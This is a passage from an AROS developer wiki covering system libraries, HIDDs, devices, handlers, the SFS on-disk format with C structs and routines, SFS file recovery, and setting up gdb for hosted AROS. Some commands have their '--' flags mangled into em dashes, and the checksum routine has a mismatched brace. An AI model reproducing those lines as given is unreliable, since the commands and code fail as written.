As returning variables by &quot;passing by value&quot; are forgotten, so &quot;passing by reference&quot; is often used instead. The reference is a pointer to the variable so the value is remembered when returned.

Alternatives

* Hidden Globals
* Singleton Pattern
* Database or TupleSpace
* Context Object 
* Dependency Injection 
* Stateful Procedures


==AROS/AmigaOS APIs and Docs==

&lt;pre&gt;
Library:
   - Private data structure
   - Many public access methods

Device:
   - Private data structure
   - Two (BeginIO/AbortIO) access methods

Resource:
   - Public data structure
   - *NO* access methods
&lt;/pre&gt;

And, being Amiga OS-compatible, there are exceptions to all of these.


===System Libraries===

The [http://developers.aros.org/ AROS Guide To Libraries] can be used as a guide to individual commands and old Dev Docs are used in application programming.

Amiga/Aros styles libraries are very different from windows and linux libs. Typical .so/dll libraries are foreign to most Amiga-like OS 


*[[Aros/Developer/Docs/Libraries/AROSC|arosc.library]]
*[[Aros/Developer/Docs/Libraries/AmigaGuide|amigaguide.library]]
*[[Aros/Developer/Docs/Libraries/ASL|asl.library]]
*[[Aros/Developer/Docs/Libraries/Bullet|bullet.library]]
*[[Aros/Developer/Docs/Libraries/BSDsocket|bsdsocket.library]]
*[[Aros/Developer/Docs/Libraries/CAMD|camd.library]]
*[[Aros/Developer/Docs/Libraries/Codesets|codesets.library]]
*[[Aros/Developer/Docs/Libraries/CGFX|cybergraphics.library]]
*[[Aros/Developer/Docs/Libraries/CGXVIDEO|cgxvideo.library]]
*[[Aros/Developer/Docs/Libraries/Commodities|commodities.library]]
*[[Aros/Developer/Docs/Libraries/DataTypes|datatypes.library]]
*[[Aros/Developer/Docs/Libraries/DiskFont|diskfont.library]]
*[[Aros/Developer/Docs/Libraries/DOS|dos.library]]
*[[Aros/Developer/Docs/Libraries/Exec|exec.library]]
*[[Aros/Developer/Docs/Libraries/Expansion|expansion.library]]
*[[Aros/Developer/Docs/Libraries/FreeType2|freetype.library]]
*[[Aros/Developer/Docs/Libraries/GadTools|gadtools.library]]
*[[Aros/Developer/Docs/Libraries/Graphics|graphics.library]]
*[[Aros/Developer/Docs/Libraries/Icon|icon.library]]
*[[Aros/Developer/Docs/Libraries/Identify|identify.library]]
*[[Aros/Developer/Docs/Libraries/IFFParse|iffparse.library]]
*[[Aros/Developer/Docs/Libraries/Intuition|intuition.library]]
*[[Aros/Developer/Docs/Libraries/Keymap|keymap.library]]
*[[Aros/Developer/Docs/Libraries/Layers|layers.library]]
*[[Aros/Developer/Docs/Libraries/Locale|locale.library]]
*[[Aros/Developer/Docs/Libraries/LowLevel|lowlevel.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEESingBas|mathieeesingbas.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEEDoubBas|mathieeedoubbas.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEESingTrans|mathieeesingtrans.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEEDoubTrans|mathieeedoubtrans.library]]
*[[Aros/Developer/Docs/Libraries/Mathtrans|mathtrans.library]]
*[[Aros/Developer/Docs/Libraries/MUIMaster|muimaster.library]]
*[[Aros/Developer/Docs/Libraries/Partition|partition.library]]
*[[Aros/Developer/Docs/Libraries/PopUpMenu|popupmenu.library]]
*[[Aros/Developer/Docs/Libraries/OOP|oop.library]]
*[[Aros/Developer/Docs/Libraries/Regina|regina.library]]
*[[Aros/Developer/Docs/Libraries/Reqtools|reqtools.library]]
*[[Aros/Developer/Docs/Libraries/RexxSysLib|rexxsyslib.library]]
*[[Aros/Developer/Docs/Libraries/ScreenNotify|screennotify.library]]
*[[Aros/Developer/Docs/Libraries/TTEngine|ttengine.library]]
*[[Aros/Developer/Docs/Libraries/Thread|thread.library]]
*[[Aros/Developer/Docs/Libraries/Utility|utility.library]]
*[[Aros/Developer/Docs/Libraries/Xadmaster|xadmaster.library]]
*[[Aros/Developer/Docs/Libraries/Workbench|workbench.library]]
*[https://github.com/aros-development-team/AROS/commit/c82e86b8480277998014cc327b56c7664023a52f ClassAct Reaction boopsi class]


===AROS Subsystems===

# [[Aros/Developer/Zune|Zune MUI compatible GUI]]
# [[Aros/Developer/AROSAppPackages|AROS Application Packages]]
# AHI Audio Drivers - [[Aros/Developer/AHIDrivers|Usage]]/[[Aros/Developer/AHIDriversDev|Development]]
# AROSTCP Sana2 Network Interface Drivers - [[Aros/Developer/NICDrivers|Usage]]/[[Aros/Developer/NICDriversDev|Development]]
# [[Aros/Developer/AmiSSL|AmiSSL]]
# gfx.hidd/cybergraphics Video Drivers - [[Aros/Developer/GfxDrivers|Usage]]/[[Aros/Developer/GfxDriversDev|Development]]
# IO Device Drivers - [[Aros/Developer/IODeviceDrivers|Usage]]/[[Aros/Developer/IODeviceDriversDev|Development]]
# USB Device Drivers - [[Aros/Developer/USBDrivers|Usage]]/[[Aros/Developer/USBDriversDev|Development]]
# PCI Device Drivers - [[Aros/Developer/PCIDrivers|Usage]]/[[Aros/Developer/PCIDriversDev|Development]]
# [http://www.libsdl.org/ SDL] [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2013&amp;pid=13333#post_13333 SDL2 coding usage], [https://github.com/search?q=repo%3Aaros-development-team%2Fcontrib%20SDL2&amp;type=code SDL2 commits], [https://github.com/aros-development-team/contrib/commit/c62c3c425c35bac19dadc23be092b0b13a66c76c SDL3 initial commit], []
# [[w:Gallium3D|Gallium 3D]] [http://www.mesa3d.org/ openGL aka Mesa] - [[Aros/Developer/OpenGL|Usage]]/[[Aros/Developer/OpenGLDev|Development]] [http://www.swiftless.com/opengltuts.html Swfitless]
# A small subset of GTK2 through [http://sourceforge.net/projects/gtk-mui/ MUI-GTK] 
# Cairo 2D Engine - [[Aros/Developer/Cairo|Usage]]/[[Aros/Developer/Cairo|Development]]
# [[Aros/Developer/Scalos|Scalos desktop API and plugin modules]]
# [[Aros/Developer/VHI|VHI video driver]]


====HIDDs====

*[[Aros/Developer/Docs/HIDD/HIDDClass|hiddclass.hidd]]
*[[Aros/Developer/Docs/HIDD/Graphics|graphics.hidd]]
*[[Aros/Developer/Docs/HIDD/VesaGfx|vesagfx.hidd]]
*[[Aros/Developer/Docs/HIDD/ATI|radeon.hidd]]
*[[Aros/Developer/Docs/HIDD/NVidia|nvidia.hidd]]
*[[Aros/Developer/Docs/HIDD/Nouveau|nouveau.hidd]]
*[[Aros/Developer/Docs/HIDD/Kbd|kbd.hidd]]
*[[Aros/Developer/Docs/HIDD/Mouse|mouse.hidd]]
*[[Aros/Developer/Docs/HIDD/i2c|i2c.hidd]]
*[[Aros/Developer/Docs/HIDD/IRQ|irq.hidd (deprecated)]]
*[[Aros/Developer/Docs/HIDD/PCI|pci.hidd]]
*[[Aros/Developer/Docs/HIDD/PCIPC|pcipc.hidd]]
*[[Aros/Developer/Docs/HIDD/Serial|serial.hidd]]
*[[Aros/Developer/Docs/HIDD/Thunderbolt|thunderbolt.hidd]]
https://github.com/aros-development-team/AROS/commit/4f02ea691799aff3a01f60cfa5f9182c82fc57a8

HIDD are used for device/peripheral low level hardware support drivers. The HIDD system is split up into a collection of classes with a strict inheritance hierarchy. A HIDD class implements a device driver for a single device or in rare cases a group of devices and provides an interface for other programs and devices to access.
      
In order to maintain portability of interfaces across a wide range of hardware this interface will in general not present the raw interface to the underlying hardware. Instead it will present a generic interface that describes many different hardware implementations. This allows for the best reuse of both interfaces and code.

HIDD API is heavyweight though. You need to open a HIDD library, open oop.library, instantiate an object (even if there's no object); and object calls are more costly compared to plain library calls.


Basically your task is to implement a subclass of hidd.ata.bus for your hardware. just implementing the XXXATA__Hidd_ATABus__xxxxxx methods for the Amiga chipset - and appropriate versions of the interface_xxx.c file(s). pretty much everything in probe.c could be ignored - just write a replacement scan for relevant amiga devices and store whatever info you need in the bus data? only the &quot;SUPPORT_LEGACY&quot; blocks might be related.

You do not need to depend on PCI API. PCI is just a way to discover the hardware on PCs, etc. 
&lt;hidd/pci.h&gt; includes (at some depth) &lt;interface/HW.h&gt;, which defines IID_HW. This comes from the 'generic' HIDD class in: 
 rom/hidds/hidd/hiddclass.conf
did not split up HIDD and HW because they are always used in pair. It's the same as hidd/pci.h bringing definition for: PCI, PCIDriver and PCIDevice. PCI is actually PCIHW, just the name was not changed for backwards compatibility reasons. HW is a 'hub' where HIDD instances plug in.

ATA HIDD aoHidd_ATABus_Use32Bit value is completely ignored unless ata.device first detects correct command line parameter.
Yes. Unfortunately I was unable to find any comment in code or svn history with explanations. Looked  at Linux source, there 32-bit PIO is also controller driver's property. Some of them enable it, some don't.

Actually, switching the default to ON should be safe. ata.device is fail-safe at this because during IDENTIFY command it validates upper 16  bits,  and  if they appear to be zeroes in all 128 longwords, then 32-bit mode is switched off. But, nevertheless, I know how tricky hardware can be, so I decided not to change original behavior. If  you think it's wrong in some cases, then it's possible to add one more  attribute  like  aHidd_ATABus_Default32Bit. If set to YES, then  this means that 32-bit PIO is safe to use by default.


====Devices====

*[[Aros/Developer/Docs/Devices/ATA|ata.device]]
*[[Aros/Developer/Docs/Devices/Console|console.device]]
*[[Aros/Developer/Docs/Devices/Narrator|narrator.device]]
*[[Aros/Developer/Docs/Devices/Printer|printer.device]]
*[[Aros/Developer/Docs/Devices/Trackdisk|trackdisk.device]]
*[[Aros/Developer/Docs/Devices/AmberRAM|amberram.device]]
*[[Aros/Developer/Docs/Devices/Timer|timer.device]]
*[[Aros/Developer/Docs/Devices/|.device]]

The Amiga used [[Aros/Developer/Docs/Devices|Devices]] to communicate with [http://aros-exec.org/modules/newbb/viewtopic.php?start=0&amp;topic_id=3475&amp;viewmode=flat&amp;order=ASC additional hardware]. AROS has replaced these hardware devices with hidd equivalents but some are still retained for backwards compatibility.

Local libraries/devices/handlers,etc. are supposed to override the ones in ROM if their version is higher than the one in ROM.

Here is the list of commands exec default: 
{| class=&quot;wikitable&quot;
| CMD_CLEAR
|  Purge the buffer of the device
|----
| CMD_READ
|  Playback Control
|----
| CMD_STOP
|  Stopped the activity of the device
|----
| CMD_FLUSH
|  Empty the queue of commands
|----
| CMD_RESET
|  Reset a device
|----
| CMD_WRITE
|  Playback Control
|----
| CMD_INVALID
|  Create an error
|----
| CMD_UPDATE
|  Gets updated device
|----
| CMD_START
|  Will restart the device
|----
|}

While most other &quot;stuff you communicate with&quot; in AmigaOS are devices &lt;ref&gt;AMIGA ROM Kernel Reference Manual: Devices, 3rd Edition. Commodore-Amiga, Inc. Addison-Wesley, 1991. {{ISBN|0-201-56775-X}}&lt;/ref&gt; that share a [http://gega.homelinux.net/AmigaDevDocs/ common base interface]. [[Aros/Developer/Docs/Devices1.3|OS 1.3 Device Drivers]].


====Handlers====

:[[Aros/Developer/Docs/Handlers/Pipe|pipe.handler]]
:[[Aros/Developer/Docs/Handlers/Port|port.handler]]
:[[Aros/Developer/Docs/Handlers/SFS|sfs.handler]]
:[[Aros/Developer/Docs/Handlers/FAT|fat.handler]]
:[[Aros/Developer/Docs/Handlers/PFS|pfs.handler]]
:[[Aros/Developer/Docs/Handlers/NTFS|fuse.handler]]
:[[Aros/Developer/Docs/Handlers/FFS|ffs.handler]]

filesystem handlers have their own separate system consisting of completely differently structured messages that dos.library use to pass requests (for things like reading, writing, getting directory contents etc.) to them. AROS originally went with implementing filesystem handlers as devices, which might arguably be more consistent with the rest of the AmigaOS API but which is quite incompatible with AmigaOS itself. However, it made it far harder to port filesystems and the gains were comparatively small, and so there's been a long standing goal of fixing this incompatibility. It has now, June 2011, been reintroduced to all AROS flavors.

are argstr and argsize valid for the handler startup environment?
DOS/RunHandler() calls DOS/CreateNewProcTags(), and then CallEntry() (in rom/dos/exit.c) to start the handler, so yes, argstr and argsize are *present* in the call signature of the handler.

Granted, argstr will be NULL and argsize 0, but those values *are* passed to the handler function using:

&lt;pre&gt;
AROS_UFC3(ULONG, entry,
                         AROS_UFCA(STRPTR, argptr, A0),
                         AROS_UFCA(ULONG, argsize, D0),
                         AROS_UFCA(struct ExecBase *, SysBase, A6));
&lt;/pre&gt;

Creating your own [without the whole build tree http://pagesperso-orange.fr/franck.charlet/temp/radeon.zip] and then  
&lt;pre&gt;
make stub
make
make install
&lt;/pre&gt;

SFS has two Root blocks, one at the start and one at the end of the disk. The Root blocks both contain the same information.  They hold various information about the disk structure and have the locations of some important blocks used by the filesystem.  

The Root ObjectContainer contains the Root directory Object. The name of this Object is the name of the volume. It is identical to a normal directory Object.

The Bitmap is used to keep track of free space. Each bit in a bitmap represents a single block. A set bit indicates a free block and a cleared bit a used block.

AdminSpaceContainers are used to keep track of space which has been reserved for storing administration blocks. Only the Bitmap, the Root blocks and the actual data stored in files aren't stored in administration space. Administration space is allocated in chunks of 32 blocks at a time. A single AdminSpaceContainer can hold information about a large number of such areas each of which has its own little bitmap of 32 bits.

Extents are stored in a B-Tree. The Root block holds a pointer to the root of the Extent B-Tree. Extents keep track of space in use by a specific file. Each fragment a file consists of has its own Extent. Extents are in a double linked list. The list can be used to locate the next or previous fragment of a file.

Below is the standard block header. This header is found before EVERY type of block used in the filesystem, except data blocks.  The id field is used to check if the block is of the correct type when it is being referred to using a BLCK pointer.  The checksum field is the SUM of all LONGs in a block plus one, and then negated. When applying a checksum the checksum field itself should be set to zero. The checking a checksum the checksum is okay if the result of the checksum equals zero. The ownblock BLCK pointer points to the block itself. This field is an extra safety check to ensure we are using a valid block.

Field	Type	Description
id	ULONG	The id field is used to identify the type of block we are dealing with. It is used to make sure that when referencing a block we got a block of the correct type. The id consist of 4 bytes and each blocktype has its own unique foure letter code.
checksum	ULONG	This field contains the sum of all longs in this block, plus one and then negated. The checksum can be used to check if the block hasn't been corrupted in any way.
ownblock	BLCK	Points to itself, or in other words, this field contains the block number of this block. This is yet another way to check whether or not a block is valid.

&lt;pre&gt;
struct fsBlockHeader {
    ULONG id;
    ULONG checksum;
    BLCK ownblock;
};
&lt;/pre&gt;
The algorithm to calculate the checksum of a block:
&lt;pre&gt;
ULONG calcchecksum(struct fsBlockHeader *block, LONG blocksize} {
    ULONG *data=(ULONG *)block;
    ULONG checksum=1;

    block-&gt;checksum=0;

    while(blocksize&gt;0) {
        checksum+=*data++;
        blocksize-=4;
    }

    return(-checksum);
} 
&lt;/pre&gt;

A Root block contains very important information about the structure of a SFS disk. It has information on the location and size of the disk, the blocksize used, locations of various important blocks, version information and some filesystem specific settings.

A SFS disk has two Root blocks; one located at the start of the partition and one at the end. On startup the filesystem will check both Roots to see if it is a valid SFS disk. If either one is missing SFS can still continue (although at the moment it won't).

A Root block could be missing on purpose. For example, if you extend the partition at the end (adding a few MB's) then SFS can detect this with the information stored in the Root block located at the beginning (since only the end-offset has changed).   Same goes for the other way around, as long as you don't change start and end point at the same time.

When a Root block is missing because the partition has been made a bit larger, then SFS will in the future be able to resize itself without re-formatting the disk.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
version	UWORD	The version of the filesystem block structure. You can check this field to identify what version of the filesystem your dealing with it and to see if you can handle this structure correctly. Don't try to interpret the disk's structure when this field contains an unknown version number!

sequencenumber	UWORD	Used to identify which Root block was written last in case the sequencenumber on both Root blocks don't match.
datecreated	ULONG	Creation date of this volume. This is the date when the disk was last formatted and will never be changed.

bits	UBYTE	Various settings, see below.
&lt;pre&gt;
pad1	UBYTE	Reserved, leave zero.
pad2	UWORD	Reserved, leave zero.
reserved1	ULONG[2]	Reserved, leave zero.
firstbyteh	ULONG	High 32-bits of a 64-bit number. This is the first byte of our partition relative to the start of the disk.
firstbyte	ULONG	Low 32-bits of a 64-bit number.
lastbyteh	ULONG	High 32-bits of a 64-bit number. This is the last byte (exclusive) of our partition relative to the start of the disk.
lastbyte	ULONG	Low 32-bits of a 64-bit number.
totalblocks	ULONG	The total number of blocks this partition consists of.
blocksize	ULONG	The size of a block of this partition.
reserved2	ULONG[2]	Reserved, leave zero.
reserved3	ULONG[8]	Reserved, leave zero.
bitmapbase	BLCK	Block number of the start of the Bitmap.
adminspacecontainer	BLCK	Block number of the first AdminSpaceContainer.
rootobjectcontainer	BLCK	Block number of the ObjectContainer which contains the root of the disk (this is where the volume name is stored).
extentbnoderoot	BLCK	Block number of the root of the Extent B-Tree.
reserved4	ULONG[4]	Reserved, leave zero.
&lt;/pre&gt;

&lt;pre&gt;
struct fsRootBlock {
  struct fsBlockHeader bheader;
  UWORD version;
  UWORD sequencenumber;
  ULONG datecreated;
  UBYTE bits;
  UBYTE pad1;
  UWORD pad2;
  ULONG reserved1[2];
  ULONG firstbyteh;
  ULONG firstbyte;
  ULONG lastbyteh;
  ULONG lastbyte;
  BLCK  totalblocks;
  ULONG blocksize;
  ULONG reserved2[2];
  ULONG reserved3[8];
  BLCK  bitmapbase;
  BLCK  adminspacecontainer;
  BLCK  rootobjectcontainer;
  BLCK  extentbnoderoot;
  ULONG reserved4[4];
};
&lt;/pre&gt;

AdminSpaceContainers are used to store the location and bitmap of each administration space. The AdminSpaceContainers are located in a double linked list and they contain an array of fsAdminSpace structures.  There is one fsAdminSpace structure for every administration space on disk.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
next	BLCK	The next AdminSpaceContainer, or zero if it is the last in the chain.
previous	BLCK	The previous AdminSpaceContainer, or zero if it is the first AdminSpaceContainer.
bits	UBYTE	The number of bits in each in the bits ULONG in the fsAdminSpace structure.
pad1	UBYTE	Reserved, leave zero.
pad2	UWORD	Reserved, leave zero.
adminspace	struct fsAdminSpace	An array of fsAdminSpace structures. The size of the array is determined by the current blocksize.
&lt;pre&gt;
struct fsAdminSpaceContainer {
  struct fsBlockHeader bheader;
  BLCK next;
  BLCK previous;
  UBYTE bits;
  UBYTE pad1;
  UWORD pad2;
  struct fsAdminSpace adminspace[0];
};
&lt;/pre&gt;
Field	Type	Description
space	BLCK	The first block of an administration space.
bits	ULONG	A small bitmap which is used to determine which blocks in an administration space are already in use. The number of bits in this bitmap is determined by the bits field in the AdminSpaceContainer.
&lt;pre&gt;
struct fsAdminSpace {
  BLCK  space;
  ULONG bits;
};
&lt;/pre&gt;

The fsBitmap structure is used for Bitmap blocks. A bitmap block is used to keep track of which space is in use and which isn't for a particular area of a disk.  All bitmap blocks together keep track of the free space for an entire disk. The location of the first bitmap block is known and all other bitmap blocks are stored in order after the first one.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
bitmap	ULONG	An array of ULONG's.  These hold the actual information on which blocks are in use and which aren't.
&lt;pre&gt;
struct fsBitmap {
    struct fsBlockHeader bheader;
    ULONG bitmap[0];
};
&lt;/pre&gt;
Each bit in a bitmap block (except for the block header) represents a single block. If the bit is set than the block is free, and if the bit is clear then it is full. The first ULONG in the bitmap area of the first bitmap block represents blocks 0 through 31 on the disk. Bit 31 of this ULONG is block 0, 30 is block 1, and so on. Bit 0 of the first ULONG represents block 31.

Below is a table to clarify how bitmaps work even further. The first column is the bitmap block number, the second column is the number of the ULONG in the bitmap array. The third column is the bit number in this ULONG, and the last column is the block which this specific bit, in this specific bitmap block represents.

We'll assume here that a bitmap block has room for 120 ULONG's (meaning there is room for storing 32 * 120 bits).

&lt;pre&gt;
Bitmap block	ULONG number	Bit number	Block represented
1 (first)	0	31	0
1	0	30	1
...	...	...	...
1	0	1	30
1	0	0	31
1	1	31	32
...	...	...	...
1	2	31	64
1	2	30	65
...	...	...	...
1	119	0	3839
2	0	31	3840
2	0	30	3841
...	...	...	...
&lt;/pre&gt;
The last bitmap block doesn't need to be completely used. The unused bits (which belong to blocks which do not exist) all have to be clear, to indicate that these blocks are in use.

The fsObjectContainer structure is used to hold a variable number of fsObjects structures (Objects) which have the same parent directory. Each ObjectContainer must contain at least one Object. If there is space in the ObjectContainer not used by the variable number of Objects then that space is zero filled. Objects always start at 2-byte boundaries, which means sometimes a padding byte is inserted between two Objects.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
parent	NODE	The node number of the parent Object, or 0 if this object has no parent (which is only the case for the Root directory).
next	BLCK	The next ObjectContainer belonging to this directory, or zero if it is the last in the chain.
previous	BLCK	The previous ObjectContainer belonging to this directory, or zero if it is the first ObjectContainer in this directory.
object	struct fsObject	A variable number of fsObject structures. The number of structures depends on the individual sizes of each fsObject structure and the blocksize. These structures are located directly after each other with at most 1 byte of padding between them to get the structures aligned on a 2 byte boundary.
&lt;pre&gt;
struct fsObjectContainer {
    struct fsBlockHeader bheader;
    NODE parent;
    BLCK next;
    BLCK previous;
    struct fsObject object[0];
}; 
&lt;/pre&gt;

fsHashTable is the structure of a HashTable block. It functions much like the hash table found in FFS user directory blocks, except that it is stored in a separate block. This block contains a number of hash-chains (about 120 for a 512 byte block). Each hash-chain is a chain of Nodes. Each Node has a pointer to an Object and a pointer to the next entry in the hash-chain.  Using such a hash-chain you can locate an object quickly by only knowing its name.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
parent	NODE	The node number of the directory Object this HashTable block belongs to.
hashentry	NODE	An array of Nodes. Each Node represents the start of a hash-chain (singly linked). A hash-value is calculated using the name of a file or directory, and this value determines in which chain the Object is linked. If there are no entries in a hash-chain then the hashentry value is zero.
&lt;pre&gt;
struct fsHashTable {
    struct fsBlockHeader bheader;
    NODE parent;
    NODE hashentry[0];
};
&lt;/pre&gt;
To calculate the hash-value using a name of an Object as input use these routines:
&lt;pre&gt;
UWORD calchash(UBYTE *name) {
    UWORD hash=0;
    /* Calculates a hash value over the passed in string.
       The end of the string can be either a NUL byte or a
       slash. The hash function is the same as the one
       used in FastFileSystem set to international mode. */
    while(name[hash]!=0 &amp;&amp; name[hash]!='/') {
        hash++;
    }
    while(*name!=0 &amp;&amp; *name!='/') {
        hash=hash*13+upperchar(*name++);
    }

    return((UWORD)(hash % (UWORD)((blocksize-sizeof(struct fsHashTable))&gt;&gt;2)));
}
UBYTE upperchar(UBYTE c) {
    if((c&gt;=224 &amp;&amp; c&lt;=254 &amp;&amp; c!=247) || (c&gt;='a' &amp;&amp; c&lt;='z')) {
        c-=32;
    }
    return(c);
}
&lt;/pre&gt;

The BNodeContainer is used to store B-Trees. Currently only one B-Tree is in use by this filesystem and it is used to store the location of file data. The fsBNodeContainer structure contains two other structures. The fsBlockHeader structure and the BTreeContainer structure.

Field	Type	Description
bheader	struct fsBlockHeader	Standard block header.
btc	struct BTreeContainer	Contains information about the B-Tree and its nodes contained in this block.
&lt;pre&gt;
struct fsBNodeContainer {
    struct fsBlockHeader bheader;
    struct BTreeContainer btc;
}; 
&lt;/pre&gt;


First try and locate the Root block. It should start with &quot;ROOT&quot;.  SFS has two of these, one at the start of the partition and one at the end.  One of the fields contains the block size, which will be the size of all important SFS blocks.

The root block has the root object container, which contains information about files and directories in the root directory.  The object 
containers basically hold one or more smaller structures that represent files and directories.  Scanning them all should give you a list of 
files and directories.

The root block also has the root of the Extent B-Tree.  This is a standard B-Tree structure (not a binary tree) that is used commonly in 
all kinds of system, you can read about how they work on Wikipedia if needed.  The B-Tree holds the information about *where* all the data is 
located for your files.

To recover your files, I'd do this:

* Find one of the root blocks, if not present, then figure out the block size your disk was using, and scan every block in turn to see if it 
looks like an ObjectContainer (check the fsBlockHeader's ID, check if the ownblock number is equal to the block you are currently scanning, 
and check its checksum).  So if you currently have block 12, and you see a block with the correct id, and ownblock = 12 and its checksum is good, 
then that's probably a valid ObjectContainer.

* With all the ObjectContainers found, you can extract filenames and directory names from these, but also the number of their first data 
block (in the field data) and the file size.  For small files (less than blocksize) this data block will be enough to recover the data.
For larger files, you might be lucky and all the remaining blocks are found after the first one (if the file was defragmented).  You can't be
sure of that though so...

* For larger files, you need to find all the BNodeContainers.  You could scan these in the same way you found all the ObjectContainers (look for 
blocks with the correct id, ownblock number and checksum). 

* With all the BNodeContainers found, you can try looking up the first data block of a file in the B-Tree structure.  This is a bit complicated 
-- the B-Tree consists of non-leaf nodes (blocks that only contain pointers to other B-Tree blocks), the isLeaf flag indicates this.  Or it 
can be a B-Tree leaf block.  The leaf blocks contain extra information per entry (see https://hjohn.home.xs4all.nl/SFS/extents.htm)
&lt;pre&gt;
struct fsExtentBNode {
     ULONG key;
     ULONG next;
     ULONG prev;
     UWORD blocks;
};
&lt;/pre&gt;

The key should be a block of a file (the first of a range), that is 1 to 65535 block long (depending the &quot;blocks&quot; field).  If the file is split 
up into more parts, then &quot;next&quot; will contain block number of the next range of blocks.  You need to look this up again in the B-Tree 
structure to find out how large it is. 

You can for the most part ignore the other structures (bitmap, admin containers).  The fsObjects and B-tree containers is what you'll need to 
recover the data. 


====Resources====

&lt;pre&gt;
rom/storage/mmakefile.src 
rom/storage/storage.conf 
rom/storage/storage_device.c 
rom/storage/storage_ids.c 
rom/storage/storage_init.c 
rom/storage/storage_intern.h 
rom/storage/storage_mount.c 
rom/storage/storage_unit.c
&lt;/pre&gt;

&lt;pre&gt;
rom/storage/includes/device.h 
rom/storage/includes/unit.h 
rom/storage/includes/volume.h 
rom/storage/storage_intern.h 
&lt;/pre&gt;

&lt;pre&gt;

&lt;/pre&gt;

*[[Aros/Developer/Docs/Resources/ACPI|acpi.resource]]
*[[Aros/Developer/Docs/Resources/Battclock|battclock.resource]]
*[[Aros/Developer/Docs/Resources/Bootloader|bootloader.resource]]
*[[Aros/Developer/Docs/Resources/Cia|cia.resource]]
*[[Aros/Developer/Docs/Resources/Filesystem|FileSystem.resource]]
*[[Aros/Developer/Docs/Resources/Hostlib|hostlib.resource]]
*[[Aros/Developer/Docs/Resources/Kernel|kernel.resource]]
*[[Aros/Developer/Docs/Resources/Misc|misc.resource]]
*[[Aros/Developer/Docs/Resources/Processor|processor.resource]]


==Debugging Code==

Please use the [http://sourceforge.net/tracker/?group_id=43586&amp;atid=439463 AROS Bug Tracker] if any issues are found.


GRUB Command line list

&lt;pre&gt;
sysdebug  
usbdebug - allows to see Poseidon's log in debug output
&lt;/pre&gt;


How do I get debugging out of InitResident ? If running i386 hosted on linux sysdebug=initresident on command line.
This  way  you can enable any of listed flags. sysdebug=all stands for &quot;everything&quot;


Have an executable (crosscompiled C++ code) which has 6 MB size on disk, but after loading it in memory, 250 MB RAM is taken. Any software that would split AROS executable into ELF part which would show actual size values?

 readelf -S executable

it will show you all sections in elf file, including sizes and requested alignment.

 objdump -h filename

That's will give you a quick overview of the sections and sizes. Ignore all the .debug.* sections. 
Would hazard a guess that you have a large .bss section. That's pretty common in C++.

Next step:

 nm—size-sort filename | grep ' [bB] '

The last few will be your biggest consumers. Would suggest -C to demangle the symbols... ;)


Suggest profiling the program (just use some printf's in the main loop for time spent in each part), it usually is quite easy to spot slow parts in games or apps.

If someone has '#define IPTR ULONG' somewhere. To see where that define is, redefine IPTR in the source code that fails, just above the line that fails, and the preprocessor will tell you where it was defined first.

===How to setup gdb with AROS/hosted===

Download AROS sources (AROS-xxxxxxxx-source.tar.bz2, where xxxxxxxx is the current date) and AROS contrib sources (AROS-xxxxxxxx-contrib-source) from 

Untar-bzip2 and cd to the unpacked archive directory.

 &gt; tar -xvjf AROS-xxxxxxxx-source.tar.bz2
 &gt; cd AROS-xxxxxxxx-source

Check the link to &quot;contrib&quot; (contrib-source) inside directory, e.g. correct like this:

 &gt; rm contrib
 &gt; ln -s ../AROS-xxxxxxxx-contrib-source.tar.bz2 contrib

Make sure you have the correct locale setting, otherwise compilation will fail at some point. See [http://aros.sourceforge.net/documentation/developers/compiling.php#setting-the-locale-to-iso8859 here] (or link below) for more on that. You might have to enter this:

 &gt; export LANG=&quot;en_US.ISO-8859-1&quot;

Now configure for a debug build - see &quot;./configure --help&quot; for more - here are two examples:

 &gt; ./configure—enable-debug=stack,modules,symbols
 
 &gt; ./configure—enable-debug=all

You may &quot;make&quot; now, or choose a separate directory for your build (e.g. for easy removal), for example if compiling for i386 architecture you could create a directory like this:

 &gt; mkdir linux-i386
 &gt; cd linux-i386
 &gt; ../AROS/configure—enable-debug=stack,symbols,modules

When done configuring you're ready to go:

 &gt; make

Building AROS takes some time - minutes on fast machines (e.g. 2.5&amp;nbsp;GHz quadcore), up to hours on slower machines.
The result will be AROS Linux hosted with gdb debugging enabled.

See aros.org documentation for more on compiling AROS, including more [http://aros.sourceforge.net/documentation/developers/compiling.php --enable-debug] options.


When finished, enter bin/linux-i386/AROS directory (replace &quot;linux-i386&quot; with your compilation target platform, e.g. linux-x86_64, etc.) inside the unpacked archive directory. This directory contains the required .gdbinit file for properly running AROS inside gdb.

 &gt; cd bin/linux-i386/AROS

Run AROS (here: with 128MB of memory) from gdb:

 &gt; gdb—args boot/aros-unix -m 128
or
 &gt; gdb—args boot/arosboot -m 128

 (gdb) r

Watch the shell output - in case AROS complains about &quot;LoadKeyCode2RawKeyTable: Loading &quot;DEVS:Keymaps/X11/keycode2rawkey.table&quot; failed!&quot; you should also see some instructions on how to create a keymap table. (see link above &quot;more on compiling&quot;, too.)
Quit gdb, and try default keymap table:

 (gdb) q
 The program is running.  Quit anyway (and kill it)? (y or n) y
 &gt; cd ../../..
 &gt; make default-x11keymaptable

Re-run AROS, as described above. Try e.g. RAros (= right windows key) + W to open a shell. If this doesn't work you have to create a keymap table yourself, quit gdb again, and make a new keytable:

 &gt; make change-x11keymaptable

A window will open. Watch the window's title bar, and follow the instructions.

When done, re-run AROS. RAros + W should now open a shell.

Next, compile your program with gdb support.


When you start GDB is there a warning which says

   warning: File &quot;&lt;whatever&gt;/.gdbinit&quot; auto-loading has been declined by your `auto-load safe-path' set to ...

If so start gdb with &quot;-ix .gdbinit&quot;


&lt;pre&gt;
Summary - In short:

* build AROS with debugging support (i.e. ./configure --enable-debug=all)
* build your application with debugging support (i.e. option -g)
* run AROS in the GNU debugger (you may use the GUI frontend &quot;ddd&quot; which simplifies usage a bit)
* start your application
* use the commands &quot;findaddr&quot; and &quot;add-symbol-file&quot; as written in the debugging manual
* if the debugger doesn't find the source code of your application use the &quot;dir&quot; command of the debugger. 
&lt;/pre&gt;

===How to use gdb===

